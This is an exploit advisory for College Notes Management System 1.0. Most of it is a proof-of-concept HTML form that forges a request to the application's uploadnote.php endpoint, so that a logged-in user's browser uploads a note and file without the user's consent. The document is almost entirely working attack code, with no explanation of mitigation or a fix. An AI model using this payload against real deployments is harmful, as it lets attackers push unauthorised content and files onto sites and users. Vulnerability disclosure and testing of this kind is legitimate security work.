# Exploit Title: College Notes Management System 1.0 - CSRF (Add Note) # Exploit Author: Mr Winst0n # Author E-mail: manamtabeshekan@gmail.com # Discovery Date: August 3, 2019 # Vendor Homepage: https://anirbandutta.ml/ # Software Link: https://sourceforge.net/projects/college-notes-management/ # Software Link: https://github.com/anirbandutta9/College-Notes-Gallery # Tested Version: 1.0 # Tested on: Parrot OS # PoC: <form role="form" action="http://localhost/[PATH]/dashboard/uploadnote.php" method="POST" enctype="multipart/form-data"> <div class="form-group"> <label for="post_title">Note Title</label> <input type="text" name="title" class="form-control" placeholder="Eg: Php Tutorial File" value="" required=""> </div> <div class="form-group"> <label for="post_tags">Short Note Description</label> <input type="text" name="description" class="form-control" placeholder="Eg: Php Tutorial File includes basic php programming ...." value="" required="" "=""> </div> <div class="form-group"> <label for="post_image">Select File</label><font color="brown"> (allowed file type: 'pdf','doc','ppt','txt','zip' | allowed maximum size: 30 mb ) </font> <input type="file" name="file"> </div> <button type="submit" name="upload" class="btn btn-primary" value="Upload Note">Upload Note</button><br><br> </form>